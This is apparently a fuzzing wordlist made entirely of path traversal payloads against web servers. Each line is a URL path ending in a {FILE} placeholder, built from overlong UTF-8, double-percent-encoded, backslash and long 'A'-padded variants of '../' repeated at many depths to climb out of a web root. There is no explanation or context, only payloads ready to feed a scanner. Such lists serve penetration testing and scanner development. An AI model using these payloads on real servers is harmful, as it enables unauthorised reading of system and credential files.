+/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae%25c1%259c{FILE} +/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af..%25c0%25af{FILE} +/..%25c0%25af{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c..%25c1%259c{FILE} +/..%25c1%259c{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f%2e%2e%2f{FILE} +////%2e%2e%2f{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c%2e%2e%5c{FILE} +/\\\%2e%2e%5c{FILE} +/\..%2f +/\..%2f\..%2f +/\..%2f\..%2f\..%2f +/\..%2f\..%2f\..%2f\..%2f +/\..%2f\..%2f\..%2f\..%2f\..%2f +/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f +/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f +/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%32%66{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} +/%%32%65%%32%65%%35%63{FILE} +/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66..%%32%66{FILE} +/..%%32%66..%%32%66{FILE} +/..%%32%66{FILE} +/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63..%%35%63{FILE} +/..%%35%63..%%35%63{FILE} +/..%%35%63{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\{FILE} 